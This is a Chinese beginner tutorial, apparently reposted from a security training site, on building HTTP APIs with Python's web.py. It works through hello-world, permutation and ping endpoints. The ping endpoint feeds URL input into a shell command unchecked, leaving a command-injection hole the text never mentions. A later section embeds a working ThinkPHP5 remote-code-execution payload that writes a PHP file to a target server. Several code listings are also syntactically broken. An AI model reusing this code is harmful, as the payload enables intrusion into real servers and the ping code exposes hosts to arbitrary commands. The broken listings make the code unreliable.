Python3菜鸟教程丨基于Web模块的轻量级接口设计基础

看着互联网上各种各样的API接口十分欢喜,奈何因为收费望而却步,于是笔者在经过网上信息检索后,选择了最简单的Python3 Web.py 库作为菜鸟入门学习教程,并实现一些小功能,希望对萌新小白们有所帮助!

 

注:i 春秋公众号旨在为大家提供更多的学习方法与技能技巧,文章仅供学习参考。

开发环境:

系统:安卓10

工具:Termux

编辑器:vim

语言:Python3

上传方法:ftp协议

调试环境:

系统:Windows2008(阿里云)

环境:Python3.7.6 + Web.py

说明:建议要使用最适合自己的开发环境,在win环境可以选择VS Code等编辑器来开发。

如何安装运营环境

服务器端安装示例(Windows 2008)

  • Python3环境的安装:

对于Python3的安装,你只需要到官网下载适合你的安装包安装即可!

如果你下载的是ZIP包,请自己配置好环境变量,如果你是下载的可视化安装程序,请记得勾选添加环境变量选项!

  • Web.py 库的安装:

在开始安装之前,请记得在PowerShell里执行下面的命令,我们需要先升级pip,升级命令是这样:

pip install --upgrade pip

在升级完成后,便可以开始安装我们需要的Web库了。

pip install web.py

如何编写

如同众多编程语言一般,我们先来写个HelloWord:

文件名:sever.py

#-*- coding:utf-8 -*-

import web #导入web库

#URL控制
urls = (
    #访问index的时候,执行index方法
    '/index(.*)', 'index',
)

#index方法
class index:
    def GET(self, text):
        index = "hello word!"
        return index

#主函数开始
if __name__ == "__main__":
    app = web.application(urls, globals())
    app.run()

接着我们在指定端口执行这个脚本:

python sever.py 80

此时,我们访问:127.0.0.1:80,应该在浏览器中能看到这样的内容:

hello word!

这就满足了吗?

不,最起码,得有个漂亮的样式,经过简单的搜索,发现Web.py提供的方法太麻烦了,于是,我们可以这样:

请注意,此刻我们不需要去暂停控制台,可以直接去修改代码后刷新浏览器就好了!

先在跟Sever.py同一目录下创建index.html,这个html里的文件自己想写啥就写啥,然后我们修改代码:

#index方法
class index:
    def GET(self, text):
        index = open("./index.html", 'r',encoding="utf-8")
        index = index.read()
        return index

接着再来刷新浏览器,就会发现界面变成了你想要的样子,这说明html文件里的标签被渲染了。

如何开发API

有这样一道题:给定这样几个字母:a,e,t,请组成单词。

笔者的代码:

import sys
from itertools import permutations

def exhaustive_combination_def(exhaustive_combination):
    b = ""
    arr = exhaustive_combination.split(",")
    for a in permutations(arr):
        a = "".join(a)
        b = b + a + ","
        #print(a)
    return b

if __name__ == "__main__":
    i="a,e,t"
    i=exhaustive_combination_def(i)
    print(i)

执行后,我收获了结果:

aet,ate,eat,eta,tae,tea,

放到百度翻译,人生圆满了。

为了维护方便,我们API是一个py文件,sever是一个文件,这样最好。

 

api.py

#-*- coding:utf-8 -*-

import sys
from itertools import permutations

def exhaustive_combination_def(exhaustive_combination):
    b = ""
    dzarr = exhaustive_combination.split(",")
    for a in permutations(dzarr):
        a = "".join(a)
        b = b + a + ","
    return b

sever.py

#-*- coding:utf-8 -*-

import web #导入web库
#从文件api.py中引用自定义函数:exhaustive_combination_def
from api import exhaustive_combination_def

#URL控制
urls = (
    #访问index的时候,执行index方法
    '/index(.*)', 'index',
    #访问api_one,执行exhaustive_combination方法
    '/api_one/(.*)', 'exhaustive_combination',
)

#exhaustive_combination方法
class exhaustive_combination:
    #text接收的是get请求内容
    def GET(self, text):
        #变量 a 接收传回的返回值
        a=exhaustive_combination_def(text)
        #返回 a 的内容给浏览器
        return a

index方法
class index:
    def GET(self, text):
        index = open("./index.html", 'r',encoding="utf-8")
        index = index.read()
        return index

if __name__ == "__main__":
    app = web.application(urls, globals())
    app.run()

访问地址:

http://127.0.0.1/api_one/a,e,t

成功在浏览器返回:

aet,ate,eat,eta,tae,tea,

这样一个简单的API就写好了。

这个时候,我们可以完全通过python写一个自己想要的API。

比如,我们来写一个返回Ping命令结果的:

ping.py

# -*- coding: utf-8 -*-
import subprocess  
import re

def ping_url(url):
    ping = subprocess.Popen(["ping.exe", url],
      stdin = subprocess.PIPE,
      stdout = subprocess.PIPE,
      stderr = subprocess.PIPE,
      shell = True)  
    out = ping.stdout.read()
    out = out.decode('gbk')
    return out

sever.py

#-*- coding:utf-8 -*-

import web #导入web库
#从文件api.py中引用自定义函数:exhaustive_combination_def
from api import exhaustive_combination_def
#从文件ping.py中引用自定义函数:ping_url
from ping import ping_url

#URL控制
urls = (
    #访问index的时候,执行index方法
    '/index(.*)', 'index',
    #访问api_one,执行exhaustive_combination方法
    '/api_one/(.*)', 'exhaustive_combination',
    #访问ping,执行ping方法
    '/ping_api/(.*)','ping_api',
)

#ping方法
class ping_api:
    def GET(self, text):
        a = "<html><head><meta charset="utf-8"><pre>"
        b = ping_url(text)
        c = "</pre></head></html>"
        a = a + b + c
        return a

#exhaustive_combination方法
class exhaustive_combination:
    #text接收的是get请求内容
    def GET(self, text):
        #变量 a 接收传回的返回值
        a=exhaustive_combination_def(text)
        #返回 a 的内容给浏览器
        return a

#index方法
class index:
    def GET(self, text):
        index = open("./index.html", 'r',encoding="utf-8")
        index = index.read()
        return index

if __name__ == "__main__":
    app = web.application(urls, globals())
    app.run()

访问:

http://127.0.0.1/ping_api/www.20191005.tech

成功返回内容:

正在 Ping as20191005.coding.me [150.109.19.98] 具有 32 字节的数据:
来自 150.109.19.98 的回复: 字节=32 时间=949ms TTL=47
来自 150.109.19.98 的回复: 字节=32 时间=1111ms TTL=47
来自 150.109.19.98 的回复: 字节=32 时间=1162ms TTL=47
来自 150.109.19.98 的回复: 字节=32 时间=1156ms TTL=47

150.109.19.98 的 Ping 统计信息:
    数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
    最短 = 949ms,最长 = 1162ms,平均 = 1094ms

扩展设想

在编写工具时,我们很多时候用到的语言都是Python,然而我们编写的一些图形化工具随着不断的流传,很容易流传到不法分子手中,我们完全可以通过这种API式的去开发工具。

当工具流窜出去,我们要阻止不法分子的时候,可以直接在服务器端ban了他的ip ,直接导致你的工具在他手中无法使用,或者直接改变接口参数,导致不法分子的工具失效,当然为了安全性可以加上一个基于接口的验证方案,来验证工具的使用者。

 

拿thinkphp5来做一个例子:

样例自定义函数:

#-*- coding:utf-8 -*-
import requests
import re

#命令执行
def thinkphp5_api(url):
    poc = "?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20phpinfo();?>%27%20>%20"
    filename ="name.php"
    url = str(url + poc + filename)
    try:
        page = requests.get(url)
        zhuangtia = page.status_code
        qingqiutou = page.headers
        a = "【*】请求状态:" + str(zhuangtia) + "
【*】写入路径:" + filename + "
【*】请求头:
" + str(qingqiutou)
        return a
    except:
        return "写入状态异常!"

实际效果:

 

这种方法笔者认为非常便于控制工具的流通,你只需要通过指定你允许的IP可以访问到服务器API,就可以将工具放心的传给团队内的其他使用者!

如果本文激发了你对API开发的想法,不妨去试一试,对于Windows图形界面程序的开发,多种多样,你可以选择C#的WPF或者易语言,这两者对于图形界面的开发基本都是直接绘制,上手速度更加快速!

原文地址:https://www.cnblogs.com/ichunqiu/p/12303548.html